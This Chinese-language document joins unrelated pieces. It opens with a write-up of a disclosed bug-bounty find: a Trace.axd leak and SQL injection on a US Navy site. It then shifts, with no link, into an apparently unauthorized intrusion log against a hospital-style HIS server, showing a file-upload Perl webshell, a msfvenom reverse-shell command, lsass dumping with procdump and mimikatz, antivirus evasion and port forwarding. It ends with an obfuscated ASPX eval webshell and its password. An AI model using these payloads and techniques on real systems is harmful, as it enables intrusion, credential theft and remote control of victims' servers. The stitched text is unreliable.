2019年8月

1.jpg

最近,作者通过HackerOne的美国国防部漏洞众测项目(Hack The Pentagon),发现了美国海军某网站的敏感信息泄露和SQL注入两个高危严重漏洞,漏洞非常容易发现且安全风险极高,以下是相关分享。

#519418 - 敏感信息泄露
#519631 - SQL注入

发现漏洞

由于我将在2020年底上大学,因此最近我打算申请美国海军后备军官训练队的奖学金(Naval ROTC),出于这个原因,在访问海军部队申请奖学金的教育培训网站时,我也顺便做了一些安全测试。当然,该海军相关网站也在HackerOne的美国国防部漏洞众测项目范围之内。令我惊讶的是,我竟然在这个网站中发现了多个高危和严重级别漏洞,其中两个尤为特别。

敏感信息泄露漏洞

我在对网站应用的侦察识别过程中,执行了对其子目录/nrotc的未授权Web路径猜解扫描,之后,发现了一个名为Trace.axd的页面,该页面的状态响应码为302,访问它时会跳转到一个登录页面。

Trace.axd:跟踪查看器,ASP.NET架构中的调试器,可用来配置代码跟踪服务以控制如何收集、存储和显示跟踪结果。在网站应用启用该跟踪功能后,可以使用Trace.axd来查看 ASP.NET 收集并缓存的跟踪信息。

然后,我换Firefox打开/nrotc/Trace.axd页面,在其跳转的登录页面中,我输入了一些测试用的常用用户名密码提交,想想它会做何响应。碰巧一对用户名密码登录成功,/nrotc/Trace.axd页面状态响应码为200,最后进入的是一个标题名为“Application Trace”(应用跟踪)的页面。

该页面与网站其它页面不同,我猜想它是Web服务或应用程序的内置调试页面。果然谷歌了一番,我才知道,Trace.axd是ASP.NET中的调试功能,可以保存一些HTTP请求的应用缓存信息。默认情况下,该调试功能只能通过localhost的本机才能访问。我都能远程访问了,这也就是说,该功能可能被人为错误配置远程开启了。

综合来看,值得注意的是:如果我们在使用ASP.NET架构的目标网站上发现一个SSRF漏洞,那么,最简单的提权方法就是,看看我们能否有对Trace.axd的访问权限。

接下来,我想看看这个调试功能页面具体会返回什么,通过一些请求后,我发现其响应返回了一些敏感信息,包括网站注册人员的社会安全号码、用户名、邮箱地址、明文密码、会话token、CSRF token,以及如软件、文件系统和HTTP头等其它一些应用程序特定信息。

2.png

这就说明问题了,这绝对是一个严重漏洞(Critical),如此简单且无需提权,但却极具威胁影响。由于任何人都可到该网站上注册账号,所以任何人都可能发现该漏洞。

SQL注入漏洞

与此同时,我决定再利用上述的调试器功能来对网站做一些深入的测试分析,果不其然,我通过/nrotc/Trace.axd页面,又发现了另外一些我用工具dirsearch无法探测到的网页。

但这些发现的大多数应用页面需要一定的权限才能有效正常响应,但我在该网站注册的账号只属于普通账号,所以我也无法对这些页面深入分析了。某种程度上来说,虽然可以用上述Trace.axd调试器页面的响应信息去劫持一些高权限用户的会话Session,但我觉得那种构造利用太过于复杂了。

穷途末路之时,我发现在一个子目录下,除一个特殊页面之外,其它所有页面都需要更高权限才能访问。于是,我就反回来在Trace.axd中寻找针对这个特殊页面的请求,发现了其POST的请求主体内容,紧接着,我重放了这个请求,但我的会话token就被包含进去了,我捣鼓着尝试把POST中的参数,更改为一些测试SQL注入或XSS的Payload - ’”> 。

这下,让我惊讶的是,其中的一个参数竟然存在SQL注入!这种军方系统,还是不敢太过深入,所以我没做进一步的SQL注入代码执行,验证了就行,就点到为止吧。赶紧上报漏洞。

由于我发现上报的以上两个漏洞,我被美国国防部网络犯罪中心(Department of Defense Cyber Crime Center ,DC3)评为当月最佳安全研究员。

经验总结

此外,我对多个美国海军网站进行安全测试后,我得到的一点经验就是:在做前期踩点侦察时对 JavaScript 的逆向分析也很重要,通常,很多Web开发人员会在 JavaScript中留下一些未做明显标记但却可以实现的API功能,而且,这些隐藏功能漏洞百出且很少会被人发现,因此,非常值得对它们进行深入测试。

漏洞上报和处理进程

2019年3月31日: 上报敏感信息泄露漏洞
2019年4月1日:  上报SQL注入漏洞
2019年4月10日: 敏感信息泄露漏洞被修复
2019年4月11日: SQL注入漏洞被修复
2019年5月6日:  美国国防部评定为[当月最佳安全研究员][6]  
2019年8月19日: 在HackerOne上披露以上两个漏洞

信息收集

IP:202.194.xx.xxx

开放82端口

1.png

竟然是XAMPP,扫一下目录吧。说不定会遇到phpmyadmin。

2.png

不幸的是phpmyadmin为403禁止访问,看一下down目录吧

3.png

还真有东西。而且好像是HIS系统。

his.db为数据库文件,his.tar是his系统文件的备份。

4.png

下载his.tar备份进行查看。竟然是perl语言(话说这个语言不大多在linux下运行么)

使用SQLite数据库

5.png

部署在windows7上

6.png

文件上传

翻找源文件查看到首页地址。

7.png

尝试登录了几次遂放弃。

直接搜索uplaod关键字,看是否存在文件上传。

8.png

竟然可以未授权文件上传。且没有任何过滤。

因为使用了XAMPP安装包,猜测支持php语言。上传php文件没有解析,真是神奇。

没有办法,硬着头皮根据下载的源码进行修改,不会perl语言的我只会简单地执行系统命令。

源码为:

#!"D:\Strawberry\perl\bin\perl"
# 上传文件的程序,用来单位上统一收集文件。
print  "Content-type: text/html\n\n";
$files_print = `whoami`;
print "<pre> $files_print </pre>";

9.png

但是这样通过文件上传来执行命令,太麻烦啦。

想直接使用msfvenom生成的perl木马,访问后上线。但访问后服务器500。

msfvenom -p cmd/unix/reverse_perl LHOST=144.xxx.xxx.xxx  LPORT=2333 -f raw > shell.pl

最终在github上找到一个大佬的perl大马,终于可以正常执行。

perl大马

10.png

IP为内网。使用msf马,上线后转发3389端口即可登录。

11.png

查看进程发现存在多个防护。添加用户是不可能了。

还是老办法。prodump+mimikatz完美绕过。

procdump.exe -accepteula -ma lsass.exe lsass.dmp

12.png

再在本地上使用mimikatz读取。

(系统竟然是windows7 32位的,导致浪费了一些时间)

sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full

13.png

ok!有了密码,静待登录。

msf上线

对exe木马进行免杀处理,执行后可成功上线。

14.png

端口转发3396远程桌面。

portfwd  add  -l  3396  -r  192.168.0.6  -p 3396

15.png

在登录时,使用windows远程连接时,出现”由于数据加密错误,这个会话将结束。请重新连接到远程计算机”。改用kali的rdesktop命令可解决该问题。

<%@ Page Language = Jscript %>           
                     

<% 
var 
/*-/*-*/ 
P 
/*-/*-*/ 
= 
/*-/*-*/ 
"e" 
+ 
"v" 
+ 
/*-/*-*/ 
                     

"a" 
+ 
"l" 
+ 
"(" 
+ 
"R" 
+ 
"e" 
+ 
/*-/*-*/ 
"q" 
+ 
"u" 
+ 
"e" 
/*-/*-*/ 
+ 
"s" 
+ 
"t" 
+           
                     

"[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]" 
+           
                     

"," 
+ 
"\"" 
+ 
"u" 
+ 
"n" 
+ 
"s" 
/*-/*-*/ 
+ 
"a" 
+ 
"f" 
+ 
"e" 
+ 
"\"" 
+ 
")" 
;eval           
                     

( 
/*-/*-*/ 
P 
/*-/*-*/ 
, 
/*-/*-*/ 
"u" 
+ 
"n" 
+ 
"s" 
/*-/*-*/ 
+ 
"a" 
+ 
"f" 
+ 
"e" 
/*-/*-*/ 
);%>

密码 -7